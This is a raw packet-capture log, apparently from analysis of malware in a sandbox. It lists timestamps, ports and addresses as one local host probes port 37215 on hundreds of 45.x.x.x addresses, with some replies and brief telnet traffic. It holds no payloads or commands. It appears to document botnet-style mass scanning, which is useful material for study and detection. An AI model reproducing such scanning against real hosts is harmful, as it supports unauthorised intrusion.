Feb 20, 2022 16:02:48.311404943 CET	27477	37215	192.168.2.23	45.10.53.157
Feb 20, 2022 16:02:48.311404943 CET	27477	37215	192.168.2.23	45.205.232.210
Feb 20, 2022 16:02:48.311424971 CET	27477	37215	192.168.2.23	45.33.6.154
Feb 20, 2022 16:02:48.311459064 CET	27477	37215	192.168.2.23	45.230.83.20
Feb 20, 2022 16:02:48.311494112 CET	27477	37215	192.168.2.23	45.167.145.48
Feb 20, 2022 16:02:48.311522007 CET	27477	37215	192.168.2.23	45.163.174.183
Feb 20, 2022 16:02:48.311532021 CET	27477	37215	192.168.2.23	45.227.235.49
Feb 20, 2022 16:02:48.311582088 CET	27477	37215	192.168.2.23	45.196.239.240
Feb 20, 2022 16:02:48.311583042 CET	27477	37215	192.168.2.23	45.255.31.234
Feb 20, 2022 16:02:48.311604023 CET	27477	37215	192.168.2.23	45.98.188.171
Feb 20, 2022 16:02:48.311615944 CET	27477	37215	192.168.2.23	45.191.190.30
Feb 20, 2022 16:02:48.311646938 CET	27477	37215	192.168.2.23	45.136.240.129
Feb 20, 2022 16:02:48.311666012 CET	27477	37215	192.168.2.23	45.244.57.56
Feb 20, 2022 16:02:48.311692953 CET	27477	37215	192.168.2.23	45.79.73.105
Feb 20, 2022 16:02:48.311717033 CET	27477	37215	192.168.2.23	45.103.62.243
Feb 20, 2022 16:02:48.311728001 CET	27477	37215	192.168.2.23	45.255.79.70
Feb 20, 2022 16:02:48.311755896 CET	27477	37215	192.168.2.23	45.75.142.254
Feb 20, 2022 16:02:48.311794043 CET	27477	37215	192.168.2.23	45.166.187.101
Feb 20, 2022 16:02:48.311825991 CET	27477	37215	192.168.2.23	45.162.187.120
Feb 20, 2022 16:02:48.311837912 CET	27477	37215	192.168.2.23	45.190.37.47
Feb 20, 2022 16:02:48.311851978 CET	27477	37215	192.168.2.23	45.243.57.90
Feb 20, 2022 16:02:48.311882019 CET	27477	37215	192.168.2.23	45.6.209.92
Feb 20, 2022 16:02:48.311903954 CET	27477	37215	192.168.2.23	45.158.248.147
Feb 20, 2022 16:02:48.311934948 CET	27477	37215	192.168.2.23	45.226.149.31
Feb 20, 2022 16:02:48.311964989 CET	27477	37215	192.168.2.23	45.67.199.34
Feb 20, 2022 16:02:48.311989069 CET	27477	37215	192.168.2.23	45.209.186.122
Feb 20, 2022 16:02:48.312002897 CET	27477	37215	192.168.2.23	45.158.143.230
Feb 20, 2022 16:02:48.312047958 CET	27477	37215	192.168.2.23	45.188.148.239
Feb 20, 2022 16:02:48.312067986 CET	27477	37215	192.168.2.23	45.135.107.239
Feb 20, 2022 16:02:48.312098026 CET	27477	37215	192.168.2.23	45.0.115.153
Feb 20, 2022 16:02:48.312108994 CET	27477	37215	192.168.2.23	45.56.154.31
Feb 20, 2022 16:02:48.312139034 CET	27477	37215	192.168.2.23	45.195.78.157
Feb 20, 2022 16:02:48.312165976 CET	27477	37215	192.168.2.23	45.152.83.21
Feb 20, 2022 16:02:48.312177896 CET	27477	37215	192.168.2.23	45.179.247.141
Feb 20, 2022 16:02:48.312216043 CET	27477	37215	192.168.2.23	45.152.132.240
Feb 20, 2022 16:02:48.312225103 CET	27477	37215	192.168.2.23	45.61.118.232
Feb 20, 2022 16:02:48.312263966 CET	27477	37215	192.168.2.23	45.64.16.190
Feb 20, 2022 16:02:48.312279940 CET	27477	37215	192.168.2.23	45.111.188.88
Feb 20, 2022 16:02:48.312299013 CET	27477	37215	192.168.2.23	45.234.48.13
Feb 20, 2022 16:02:48.312325954 CET	27477	37215	192.168.2.23	45.44.139.88
Feb 20, 2022 16:02:48.312338114 CET	27477	37215	192.168.2.23	45.203.74.42
Feb 20, 2022 16:02:48.312367916 CET	27477	37215	192.168.2.23	45.53.139.98
Feb 20, 2022 16:02:48.312402010 CET	27477	37215	192.168.2.23	45.78.136.160
Feb 20, 2022 16:02:48.312432051 CET	27477	37215	192.168.2.23	45.34.111.237
Feb 20, 2022 16:02:48.312442064 CET	27477	37215	192.168.2.23	45.36.89.250
Feb 20, 2022 16:02:48.312463045 CET	27477	37215	192.168.2.23	45.177.93.50
Feb 20, 2022 16:02:48.312490940 CET	27477	37215	192.168.2.23	45.170.26.43
Feb 20, 2022 16:02:48.312511921 CET	27477	37215	192.168.2.23	45.212.112.212
Feb 20, 2022 16:02:48.312539101 CET	27477	37215	192.168.2.23	45.102.42.129
Feb 20, 2022 16:02:48.312565088 CET	27477	37215	192.168.2.23	45.218.130.27
Feb 20, 2022 16:02:48.312582970 CET	27477	37215	192.168.2.23	45.61.21.93
Feb 20, 2022 16:02:48.312617064 CET	27477	37215	192.168.2.23	45.87.122.60
Feb 20, 2022 16:02:48.312632084 CET	27477	37215	192.168.2.23	45.119.207.160
Feb 20, 2022 16:02:48.312664032 CET	27477	37215	192.168.2.23	45.26.150.105
Feb 20, 2022 16:02:48.312688112 CET	27477	37215	192.168.2.23	45.138.112.241
Feb 20, 2022 16:02:48.312706947 CET	27477	37215	192.168.2.23	45.29.251.98
Feb 20, 2022 16:02:48.312731028 CET	27477	37215	192.168.2.23	45.255.197.194
Feb 20, 2022 16:02:48.312781096 CET	27477	37215	192.168.2.23	45.206.226.252
Feb 20, 2022 16:02:48.312788010 CET	27477	37215	192.168.2.23	45.39.204.1
Feb 20, 2022 16:02:48.312808037 CET	27477	37215	192.168.2.23	45.48.225.222
Feb 20, 2022 16:02:48.312835932 CET	27477	37215	192.168.2.23	45.50.33.162
Feb 20, 2022 16:02:48.312864065 CET	27477	37215	192.168.2.23	45.38.35.153
Feb 20, 2022 16:02:48.312879086 CET	27477	37215	192.168.2.23	45.172.42.84
Feb 20, 2022 16:02:48.312902927 CET	27477	37215	192.168.2.23	45.162.62.26
Feb 20, 2022 16:02:48.312941074 CET	27477	37215	192.168.2.23	45.127.253.119
Feb 20, 2022 16:02:48.312962055 CET	27477	37215	192.168.2.23	45.92.68.77
Feb 20, 2022 16:02:48.312979937 CET	27477	37215	192.168.2.23	45.120.82.31
Feb 20, 2022 16:02:48.313003063 CET	27477	37215	192.168.2.23	45.71.55.220
Feb 20, 2022 16:02:48.313025951 CET	27477	37215	192.168.2.23	45.225.169.165
Feb 20, 2022 16:02:48.313046932 CET	27477	37215	192.168.2.23	45.171.163.153
Feb 20, 2022 16:02:48.313081026 CET	27477	37215	192.168.2.23	45.84.252.244
Feb 20, 2022 16:02:48.313086033 CET	27477	37215	192.168.2.23	45.58.4.208
Feb 20, 2022 16:02:48.313134909 CET	27477	37215	192.168.2.23	45.171.166.76
Feb 20, 2022 16:02:48.313148022 CET	27477	37215	192.168.2.23	45.108.182.48
Feb 20, 2022 16:02:48.313170910 CET	27477	37215	192.168.2.23	45.72.98.76
Feb 20, 2022 16:02:48.313208103 CET	27477	37215	192.168.2.23	45.80.233.162
Feb 20, 2022 16:02:48.313215971 CET	27477	37215	192.168.2.23	45.172.53.234
Feb 20, 2022 16:02:48.313256025 CET	27477	37215	192.168.2.23	45.100.252.213
Feb 20, 2022 16:02:48.313282013 CET	27477	37215	192.168.2.23	45.163.155.94
Feb 20, 2022 16:02:48.313304901 CET	27477	37215	192.168.2.23	45.57.76.143
Feb 20, 2022 16:02:48.313316107 CET	27477	37215	192.168.2.23	45.234.218.82
Feb 20, 2022 16:02:48.313343048 CET	27477	37215	192.168.2.23	45.119.105.2
Feb 20, 2022 16:02:48.313365936 CET	27477	37215	192.168.2.23	45.113.127.168
Feb 20, 2022 16:02:48.313395977 CET	27477	37215	192.168.2.23	45.84.171.47
Feb 20, 2022 16:02:48.313409090 CET	27477	37215	192.168.2.23	45.11.240.251
Feb 20, 2022 16:02:48.313436985 CET	27477	37215	192.168.2.23	45.192.241.76
Feb 20, 2022 16:02:48.313479900 CET	27477	37215	192.168.2.23	45.149.185.27
Feb 20, 2022 16:02:48.313498020 CET	27477	37215	192.168.2.23	45.107.67.167
Feb 20, 2022 16:02:48.313513041 CET	27477	37215	192.168.2.23	45.66.142.90
Feb 20, 2022 16:02:48.313529015 CET	27477	37215	192.168.2.23	45.215.13.29
Feb 20, 2022 16:02:48.313561916 CET	27477	37215	192.168.2.23	45.193.65.235
Feb 20, 2022 16:02:48.313571930 CET	27477	37215	192.168.2.23	45.252.131.94
Feb 20, 2022 16:02:48.313600063 CET	27477	37215	192.168.2.23	45.99.10.227
Feb 20, 2022 16:02:48.313617945 CET	27477	37215	192.168.2.23	45.15.55.173
Feb 20, 2022 16:02:48.313637972 CET	27477	37215	192.168.2.23	45.229.26.12
Feb 20, 2022 16:02:48.313668966 CET	27477	37215	192.168.2.23	45.153.254.110
Feb 20, 2022 16:02:48.313684940 CET	27477	37215	192.168.2.23	45.235.200.227
Feb 20, 2022 16:02:48.313711882 CET	27477	37215	192.168.2.23	45.98.46.16
Feb 20, 2022 16:02:48.313735962 CET	27477	37215	192.168.2.23	45.212.149.131
Feb 20, 2022 16:02:48.313755989 CET	27477	37215	192.168.2.23	45.121.176.110
Feb 20, 2022 16:02:48.313781023 CET	27477	37215	192.168.2.23	45.0.251.94
Feb 20, 2022 16:02:48.313792944 CET	27477	37215	192.168.2.23	45.9.129.196
Feb 20, 2022 16:02:48.313826084 CET	27477	37215	192.168.2.23	45.203.14.43
Feb 20, 2022 16:02:48.313882113 CET	27477	37215	192.168.2.23	45.7.29.33
Feb 20, 2022 16:02:48.313883066 CET	27477	37215	192.168.2.23	45.174.252.113
Feb 20, 2022 16:02:48.313899994 CET	27477	37215	192.168.2.23	45.175.159.225
Feb 20, 2022 16:02:48.313908100 CET	27477	37215	192.168.2.23	45.215.199.194
Feb 20, 2022 16:02:48.313925982 CET	27477	37215	192.168.2.23	45.114.209.167
Feb 20, 2022 16:02:48.313945055 CET	27477	37215	192.168.2.23	45.251.237.43
Feb 20, 2022 16:02:48.313978910 CET	27477	37215	192.168.2.23	45.52.18.201
Feb 20, 2022 16:02:48.313996077 CET	27477	37215	192.168.2.23	45.188.93.56
Feb 20, 2022 16:02:48.314023018 CET	27477	37215	192.168.2.23	45.110.203.120
Feb 20, 2022 16:02:48.314059973 CET	27477	37215	192.168.2.23	45.43.123.191
Feb 20, 2022 16:02:48.314080954 CET	27477	37215	192.168.2.23	45.236.12.136
Feb 20, 2022 16:02:48.314101934 CET	27477	37215	192.168.2.23	45.7.150.27
Feb 20, 2022 16:02:48.314115047 CET	27477	37215	192.168.2.23	45.166.107.230
Feb 20, 2022 16:02:48.314155102 CET	27477	37215	192.168.2.23	45.116.156.144
Feb 20, 2022 16:02:48.314171076 CET	27477	37215	192.168.2.23	45.236.162.118
Feb 20, 2022 16:02:48.314188004 CET	27477	37215	192.168.2.23	45.135.82.253
Feb 20, 2022 16:02:48.314209938 CET	27477	37215	192.168.2.23	45.229.174.108
Feb 20, 2022 16:02:48.314253092 CET	27477	37215	192.168.2.23	45.128.165.111
Feb 20, 2022 16:02:48.314276934 CET	27477	37215	192.168.2.23	45.47.132.42
Feb 20, 2022 16:02:48.314305067 CET	27477	37215	192.168.2.23	45.54.27.95
Feb 20, 2022 16:02:48.314320087 CET	27477	37215	192.168.2.23	45.200.88.168
Feb 20, 2022 16:02:48.314347029 CET	27477	37215	192.168.2.23	45.226.252.230
Feb 20, 2022 16:02:48.314380884 CET	27477	37215	192.168.2.23	45.24.132.104
Feb 20, 2022 16:02:48.314398050 CET	27477	37215	192.168.2.23	45.110.10.188
Feb 20, 2022 16:02:48.314419031 CET	27477	37215	192.168.2.23	45.234.164.100
Feb 20, 2022 16:02:48.314448118 CET	27477	37215	192.168.2.23	45.29.170.36
Feb 20, 2022 16:02:48.314466953 CET	27477	37215	192.168.2.23	45.249.192.22
Feb 20, 2022 16:02:48.314486027 CET	27477	37215	192.168.2.23	45.122.186.108
Feb 20, 2022 16:02:48.314513922 CET	27477	37215	192.168.2.23	45.71.148.150
Feb 20, 2022 16:02:48.314553022 CET	27477	37215	192.168.2.23	45.128.68.114
Feb 20, 2022 16:02:48.314562082 CET	27477	37215	192.168.2.23	45.18.203.147
Feb 20, 2022 16:02:48.314590931 CET	27477	37215	192.168.2.23	45.244.71.184
Feb 20, 2022 16:02:48.314624071 CET	27477	37215	192.168.2.23	45.73.9.154
Feb 20, 2022 16:02:48.314629078 CET	27477	37215	192.168.2.23	45.7.145.77
Feb 20, 2022 16:02:48.314682961 CET	27477	37215	192.168.2.23	45.206.222.210
Feb 20, 2022 16:02:48.314701080 CET	27477	37215	192.168.2.23	45.238.59.69
Feb 20, 2022 16:02:48.314726114 CET	27477	37215	192.168.2.23	45.217.208.237
Feb 20, 2022 16:02:48.314749002 CET	27477	37215	192.168.2.23	45.73.142.129
Feb 20, 2022 16:02:48.314765930 CET	27477	37215	192.168.2.23	45.126.60.214
Feb 20, 2022 16:02:48.314801931 CET	27477	37215	192.168.2.23	45.6.142.206
Feb 20, 2022 16:02:48.314831972 CET	27477	37215	192.168.2.23	45.139.187.56
Feb 20, 2022 16:02:48.314851046 CET	27477	37215	192.168.2.23	45.172.150.86
Feb 20, 2022 16:02:48.314873934 CET	27477	37215	192.168.2.23	45.244.137.145
Feb 20, 2022 16:02:48.314913034 CET	27477	37215	192.168.2.23	45.214.90.46
Feb 20, 2022 16:02:48.314920902 CET	27477	37215	192.168.2.23	45.94.51.249
Feb 20, 2022 16:02:48.314939976 CET	27477	37215	192.168.2.23	45.62.183.160
Feb 20, 2022 16:02:48.314970016 CET	27477	37215	192.168.2.23	45.167.232.223
Feb 20, 2022 16:02:48.314992905 CET	27477	37215	192.168.2.23	45.41.45.189
Feb 20, 2022 16:02:48.315013885 CET	27477	37215	192.168.2.23	45.250.188.210
Feb 20, 2022 16:02:48.315032959 CET	27477	37215	192.168.2.23	45.26.37.1
Feb 20, 2022 16:02:48.315057039 CET	27477	37215	192.168.2.23	45.24.83.220
Feb 20, 2022 16:02:48.315080881 CET	27477	37215	192.168.2.23	45.191.200.160
Feb 20, 2022 16:02:48.315090895 CET	27477	37215	192.168.2.23	45.193.54.100
Feb 20, 2022 16:02:48.315119982 CET	27477	37215	192.168.2.23	45.230.85.155
Feb 20, 2022 16:02:48.315145969 CET	27477	37215	192.168.2.23	45.228.130.100
Feb 20, 2022 16:02:48.315170050 CET	27477	37215	192.168.2.23	45.232.29.0
Feb 20, 2022 16:02:48.315184116 CET	27477	37215	192.168.2.23	45.199.140.175
Feb 20, 2022 16:02:48.315201998 CET	27477	37215	192.168.2.23	45.88.206.5
Feb 20, 2022 16:02:48.315229893 CET	27477	37215	192.168.2.23	45.75.13.246
Feb 20, 2022 16:02:48.315267086 CET	27477	37215	192.168.2.23	45.0.64.161
Feb 20, 2022 16:02:48.315300941 CET	27477	37215	192.168.2.23	45.247.126.131
Feb 20, 2022 16:02:48.315330029 CET	27477	37215	192.168.2.23	45.133.46.247
Feb 20, 2022 16:02:48.315330029 CET	27477	37215	192.168.2.23	45.112.30.19
Feb 20, 2022 16:02:48.315349102 CET	27477	37215	192.168.2.23	45.127.214.82
Feb 20, 2022 16:02:48.315381050 CET	27477	37215	192.168.2.23	45.198.141.189
Feb 20, 2022 16:02:48.315418959 CET	27477	37215	192.168.2.23	45.137.101.148
Feb 20, 2022 16:02:48.315438032 CET	27477	37215	192.168.2.23	45.170.109.20
Feb 20, 2022 16:02:48.315468073 CET	27477	37215	192.168.2.23	45.145.199.142
Feb 20, 2022 16:02:48.315489054 CET	27477	37215	192.168.2.23	45.178.208.50
Feb 20, 2022 16:02:48.315515995 CET	27477	37215	192.168.2.23	45.166.66.26
Feb 20, 2022 16:02:48.315550089 CET	27477	37215	192.168.2.23	45.95.237.79
Feb 20, 2022 16:02:48.315572023 CET	27477	37215	192.168.2.23	45.46.208.50
Feb 20, 2022 16:02:48.315599918 CET	27477	37215	192.168.2.23	45.200.66.38
Feb 20, 2022 16:02:48.315627098 CET	27477	37215	192.168.2.23	45.73.134.226
Feb 20, 2022 16:02:48.315653086 CET	27477	37215	192.168.2.23	45.244.192.73
Feb 20, 2022 16:02:48.315682888 CET	27477	37215	192.168.2.23	45.163.220.121
Feb 20, 2022 16:02:48.315697908 CET	27477	37215	192.168.2.23	45.205.167.196
Feb 20, 2022 16:02:48.315732956 CET	27477	37215	192.168.2.23	45.68.142.233
Feb 20, 2022 16:02:48.315748930 CET	27477	37215	192.168.2.23	45.212.183.245
Feb 20, 2022 16:02:48.315788984 CET	27477	37215	192.168.2.23	45.98.56.181
Feb 20, 2022 16:02:48.315817118 CET	27477	37215	192.168.2.23	45.20.187.231
Feb 20, 2022 16:02:48.315824986 CET	27477	37215	192.168.2.23	45.182.198.247
Feb 20, 2022 16:02:48.315845013 CET	27477	37215	192.168.2.23	45.10.168.75
Feb 20, 2022 16:02:48.315867901 CET	27477	37215	192.168.2.23	45.10.48.236
Feb 20, 2022 16:02:48.315892935 CET	27477	37215	192.168.2.23	45.105.108.167
Feb 20, 2022 16:02:48.315912008 CET	27477	37215	192.168.2.23	45.70.124.179
Feb 20, 2022 16:02:48.315948963 CET	27477	37215	192.168.2.23	45.163.39.40
Feb 20, 2022 16:02:48.315970898 CET	27477	37215	192.168.2.23	45.83.107.14
Feb 20, 2022 16:02:48.315993071 CET	27477	37215	192.168.2.23	45.247.10.201
Feb 20, 2022 16:02:48.316015959 CET	27477	37215	192.168.2.23	45.185.163.114
Feb 20, 2022 16:02:48.316041946 CET	27477	37215	192.168.2.23	45.43.241.22
Feb 20, 2022 16:02:48.316073895 CET	27477	37215	192.168.2.23	45.176.91.91
Feb 20, 2022 16:02:48.316096067 CET	27477	37215	192.168.2.23	45.0.172.164
Feb 20, 2022 16:02:48.316118002 CET	27477	37215	192.168.2.23	45.235.192.254
Feb 20, 2022 16:02:48.316138029 CET	27477	37215	192.168.2.23	45.133.183.255
Feb 20, 2022 16:02:48.316169977 CET	27477	37215	192.168.2.23	45.144.34.145
Feb 20, 2022 16:02:48.316186905 CET	27477	37215	192.168.2.23	45.196.144.28
Feb 20, 2022 16:02:48.316200972 CET	27477	37215	192.168.2.23	45.37.244.241
Feb 20, 2022 16:02:48.316232920 CET	27477	37215	192.168.2.23	45.29.128.75
Feb 20, 2022 16:02:48.316253901 CET	27477	37215	192.168.2.23	45.133.187.217
Feb 20, 2022 16:02:48.316278934 CET	27477	37215	192.168.2.23	45.29.111.35
Feb 20, 2022 16:02:48.316294909 CET	27477	37215	192.168.2.23	45.16.84.35
Feb 20, 2022 16:02:48.316318035 CET	27477	37215	192.168.2.23	45.45.231.116
Feb 20, 2022 16:02:48.316338062 CET	27477	37215	192.168.2.23	45.211.86.199
Feb 20, 2022 16:02:48.316360950 CET	27477	37215	192.168.2.23	45.149.74.76
Feb 20, 2022 16:02:48.316385031 CET	27477	37215	192.168.2.23	45.254.4.108
Feb 20, 2022 16:02:48.316410065 CET	27477	37215	192.168.2.23	45.84.142.6
Feb 20, 2022 16:02:48.316423893 CET	27477	37215	192.168.2.23	45.20.139.165
Feb 20, 2022 16:02:48.316452980 CET	27477	37215	192.168.2.23	45.247.88.110
Feb 20, 2022 16:02:48.316472054 CET	27477	37215	192.168.2.23	45.48.173.194
Feb 20, 2022 16:02:48.316509008 CET	27477	37215	192.168.2.23	45.66.88.93
Feb 20, 2022 16:02:48.316540003 CET	27477	37215	192.168.2.23	45.137.5.55
Feb 20, 2022 16:02:48.316549063 CET	27477	37215	192.168.2.23	45.16.38.227
Feb 20, 2022 16:02:48.316581964 CET	27477	37215	192.168.2.23	45.207.206.74
Feb 20, 2022 16:02:48.316606045 CET	27477	37215	192.168.2.23	45.246.16.86
Feb 20, 2022 16:02:48.316637039 CET	27477	37215	192.168.2.23	45.253.158.223
Feb 20, 2022 16:02:48.316663980 CET	27477	37215	192.168.2.23	45.202.96.133
Feb 20, 2022 16:02:48.316706896 CET	27477	37215	192.168.2.23	45.117.40.247
Feb 20, 2022 16:02:48.316724062 CET	27477	37215	192.168.2.23	45.12.161.160
Feb 20, 2022 16:02:48.316737890 CET	27477	37215	192.168.2.23	45.223.227.116
Feb 20, 2022 16:02:48.316765070 CET	27477	37215	192.168.2.23	45.40.249.113
Feb 20, 2022 16:02:48.316811085 CET	27477	37215	192.168.2.23	45.221.53.82
Feb 20, 2022 16:02:48.316829920 CET	27477	37215	192.168.2.23	45.37.75.185
Feb 20, 2022 16:02:48.316843987 CET	27477	37215	192.168.2.23	45.32.192.79
Feb 20, 2022 16:02:48.316874027 CET	27477	37215	192.168.2.23	45.5.125.196
Feb 20, 2022 16:02:48.316890955 CET	27477	37215	192.168.2.23	45.129.221.41
Feb 20, 2022 16:02:48.316935062 CET	27477	37215	192.168.2.23	45.172.177.224
Feb 20, 2022 16:02:48.316951990 CET	27477	37215	192.168.2.23	45.232.160.214
Feb 20, 2022 16:02:48.316977024 CET	27477	37215	192.168.2.23	45.119.51.34
Feb 20, 2022 16:02:48.316997051 CET	27477	37215	192.168.2.23	45.47.19.102
Feb 20, 2022 16:02:48.317020893 CET	27477	37215	192.168.2.23	45.160.67.227
Feb 20, 2022 16:02:48.317061901 CET	27477	37215	192.168.2.23	45.4.27.181
Feb 20, 2022 16:02:48.317085981 CET	27477	37215	192.168.2.23	45.177.190.128
Feb 20, 2022 16:02:48.317105055 CET	27477	37215	192.168.2.23	45.237.28.197
Feb 20, 2022 16:02:48.317128897 CET	27477	37215	192.168.2.23	45.253.19.250
Feb 20, 2022 16:02:48.317145109 CET	27477	37215	192.168.2.23	45.155.73.27
Feb 20, 2022 16:02:48.317169905 CET	27477	37215	192.168.2.23	45.2.209.85
Feb 20, 2022 16:02:48.317229986 CET	27477	37215	192.168.2.23	45.92.103.203
Feb 20, 2022 16:02:48.317241907 CET	27477	37215	192.168.2.23	45.124.43.78
Feb 20, 2022 16:02:48.317264080 CET	27477	37215	192.168.2.23	45.42.194.2
Feb 20, 2022 16:02:48.317290068 CET	27477	37215	192.168.2.23	45.97.174.17
Feb 20, 2022 16:02:48.317315102 CET	27477	37215	192.168.2.23	45.166.54.81
Feb 20, 2022 16:02:48.317332983 CET	37215	27477	45.79.250.57	192.168.2.23
Feb 20, 2022 16:02:48.317348003 CET	27477	37215	192.168.2.23	45.226.119.163
Feb 20, 2022 16:02:48.317373037 CET	27477	37215	192.168.2.23	45.156.43.142
Feb 20, 2022 16:02:48.317393064 CET	27477	37215	192.168.2.23	45.242.81.246
Feb 20, 2022 16:02:48.317414999 CET	27477	37215	192.168.2.23	45.62.173.23
Feb 20, 2022 16:02:48.317433119 CET	27477	37215	192.168.2.23	45.34.83.194
Feb 20, 2022 16:02:48.317460060 CET	27477	37215	192.168.2.23	45.122.171.241
Feb 20, 2022 16:02:48.317478895 CET	27477	37215	192.168.2.23	45.188.207.83
Feb 20, 2022 16:02:48.317496061 CET	27477	37215	192.168.2.23	45.1.223.45
Feb 20, 2022 16:02:48.317527056 CET	27477	37215	192.168.2.23	45.143.94.148
Feb 20, 2022 16:02:48.317560911 CET	27477	37215	192.168.2.23	45.17.97.162
Feb 20, 2022 16:02:48.317584038 CET	27477	37215	192.168.2.23	45.48.165.179
Feb 20, 2022 16:02:48.317612886 CET	27477	37215	192.168.2.23	45.89.35.97
Feb 20, 2022 16:02:48.317631006 CET	27477	37215	192.168.2.23	45.145.47.23
Feb 20, 2022 16:02:48.317682028 CET	27477	37215	192.168.2.23	45.193.210.170
Feb 20, 2022 16:02:48.317698956 CET	27477	37215	192.168.2.23	45.101.171.226
Feb 20, 2022 16:02:48.317711115 CET	27477	37215	192.168.2.23	45.136.70.26
Feb 20, 2022 16:02:48.317744017 CET	27477	37215	192.168.2.23	45.171.125.27
Feb 20, 2022 16:02:48.317763090 CET	27477	37215	192.168.2.23	45.43.175.58
Feb 20, 2022 16:02:48.317790985 CET	27477	37215	192.168.2.23	45.3.106.94
Feb 20, 2022 16:02:48.317806959 CET	27477	37215	192.168.2.23	45.60.136.10
Feb 20, 2022 16:02:48.317890882 CET	27477	37215	192.168.2.23	45.66.44.103
Feb 20, 2022 16:02:48.317904949 CET	27477	37215	192.168.2.23	45.220.213.160
Feb 20, 2022 16:02:48.317920923 CET	27477	37215	192.168.2.23	45.69.29.10
Feb 20, 2022 16:02:48.317925930 CET	27477	37215	192.168.2.23	45.109.165.72
Feb 20, 2022 16:02:48.317936897 CET	27477	37215	192.168.2.23	45.28.21.241
Feb 20, 2022 16:02:48.320221901 CET	37215	27477	45.151.102.82	192.168.2.23
Feb 20, 2022 16:02:48.320934057 CET	37215	27477	45.8.132.191	192.168.2.23
Feb 20, 2022 16:02:48.323455095 CET	37215	27477	45.142.37.190	192.168.2.23
Feb 20, 2022 16:02:48.323518038 CET	37215	27477	45.136.174.187	192.168.2.23
Feb 20, 2022 16:02:48.326548100 CET	37215	27477	45.93.69.113	192.168.2.23
Feb 20, 2022 16:02:48.329957962 CET	37215	27477	45.142.178.195	192.168.2.23
Feb 20, 2022 16:02:48.331197023 CET	37215	27477	45.140.193.194	192.168.2.23
Feb 20, 2022 16:02:48.332467079 CET	37215	27477	45.158.143.230	192.168.2.23
Feb 20, 2022 16:02:48.332483053 CET	37215	27477	45.151.102.211	192.168.2.23
Feb 20, 2022 16:02:48.334476948 CET	37215	27477	45.87.254.86	192.168.2.23
Feb 20, 2022 16:02:48.335494041 CET	23	39282	120.157.116.132	192.168.2.23
Feb 20, 2022 16:02:48.335560083 CET	39282	23	192.168.2.23	120.157.116.132
Feb 20, 2022 16:02:48.337652922 CET	37215	27477	45.137.201.7	192.168.2.23
Feb 20, 2022 16:02:48.338062048 CET	37215	27477	45.88.146.103	192.168.2.23
Feb 20, 2022 16:02:48.338103056 CET	37215	27477	45.83.9.51	192.168.2.23
Feb 20, 2022 16:02:48.349787951 CET	37215	27477	45.135.15.195	192.168.2.23
Feb 20, 2022 16:02:48.352675915 CET	23	39282	120.157.116.132	192.168.2.23
Feb 20, 2022 16:02:48.352737904 CET	39282	23	192.168.2.23	120.157.116.132
Feb 20, 2022 16:02:48.352860928 CET	37215	27477	45.10.42.216	192.168.2.23
Feb 20, 2022 16:02:48.356607914 CET	37215	27477	45.89.60.172	192.168.2.23
Feb 20, 2022 16:02:48.358300924 CET	37215	27477	45.136.70.26	192.168.2.23
Feb 20, 2022 16:02:48.359385967 CET	37215	27477	45.66.44.103	192.168.2.23
Feb 20, 2022 16:02:48.377616882 CET	37215	27477	45.156.43.142	192.168.2.23
Feb 20, 2022 16:02:48.378840923 CET	37215	27477	45.192.138.144	192.168.2.23
Feb 20, 2022 16:02:48.380908012 CET	37215	27477	45.134.241.201	192.168.2.23
Feb 20, 2022 16:02:48.396630049 CET	37215	27477	45.156.186.163	192.168.2.23
Feb 20, 2022 16:02:48.398886919 CET	37215	27477	45.132.96.128	192.168.2.23
Feb 20, 2022 16:02:48.399462938 CET	37215	27477	45.196.176.209	192.168.2.23
Feb 20, 2022 16:02:48.400135994 CET	37215	27477	45.90.13.132	192.168.2.23
Feb 20, 2022 16:02:48.400163889 CET	37215	27477	45.55.66.173	192.168.2.23
Feb 20, 2022 16:02:48.401074886 CET	37215	27477	45.197.198.173	192.168.2.23
Feb 20, 2022 16:02:48.402144909 CET	37215	27477	45.205.208.218	192.168.2.23
Feb 20, 2022 16:02:48.405507088 CET	37215	27477	45.79.161.211	192.168.2.23
Feb 20, 2022 16:02:48.407530069 CET	37215	27477	45.194.86.248	192.168.2.23
Feb 20, 2022 16:02:48.408767939 CET	37215	27477	45.57.157.150	192.168.2.23
Feb 20, 2022 16:02:48.415812969 CET	37215	27477	45.205.232.210	192.168.2.23
Feb 20, 2022 16:02:48.419876099 CET	37215	27477	45.196.144.28	192.168.2.23
Feb 20, 2022 16:02:48.422489882 CET	37215	27477	45.80.99.97	192.168.2.23
Feb 20, 2022 16:02:48.434457064 CET	37215	27477	45.41.62.61	192.168.2.23
Feb 20, 2022 16:02:48.438621044 CET	37215	27477	45.72.118.55	192.168.2.23
Feb 20, 2022 16:02:48.441170931 CET	37215	27477	45.146.88.179	192.168.2.23
Feb 20, 2022 16:02:48.446932077 CET	37215	27477	154.148.159.244	192.168.2.23
Feb 20, 2022 16:02:48.451196909 CET	37215	27477	45.62.199.84	192.168.2.23
Feb 20, 2022 16:02:48.454173088 CET	37215	27477	45.184.250.200	192.168.2.23
Feb 20, 2022 16:02:48.463212967 CET	37215	27477	45.39.130.179	192.168.2.23
Feb 20, 2022 16:02:48.463406086 CET	37215	27477	45.39.159.46	192.168.2.23
Feb 20, 2022 16:02:48.466717005 CET	37215	27477	45.66.139.135	192.168.2.23
Feb 20, 2022 16:02:48.468394041 CET	37215	27477	45.39.96.108	192.168.2.23
Feb 20, 2022 16:02:48.469755888 CET	37215	27477	45.43.193.231	192.168.2.23
Feb 20, 2022 16:02:48.471204996 CET	37215	27477	45.39.210.215	192.168.2.23
Feb 20, 2022 16:02:48.473603964 CET	37215	27477	45.138.69.70	192.168.2.23
Feb 20, 2022 16:02:48.473675013 CET	27477	37215	192.168.2.23	45.138.69.70
Feb 20, 2022 16:02:48.474605083 CET	37215	27477	45.154.215.208	192.168.2.23
Feb 20, 2022 16:02:48.476314068 CET	37215	27477	45.201.222.63	192.168.2.23
Feb 20, 2022 16:02:48.477698088 CET	37215	27477	45.76.173.131	192.168.2.23
Feb 20, 2022 16:02:48.479005098 CET	37215	27477	45.79.114.85	192.168.2.23
Feb 20, 2022 16:02:48.480879068 CET	37215	27477	45.79.90.24	192.168.2.23
Feb 20, 2022 16:02:48.482234001 CET	37215	27477	45.199.240.76	192.168.2.23
Feb 20, 2022 16:02:48.482764006 CET	37215	27477	45.219.50.166	192.168.2.23
Feb 20, 2022 16:02:48.482793093 CET	37215	27477	45.57.177.56	192.168.2.23
Feb 20, 2022 16:02:48.484559059 CET	37215	27477	45.89.35.97	192.168.2.23
Feb 20, 2022 16:02:48.488492012 CET	37215	27477	45.204.127.173	192.168.2.23
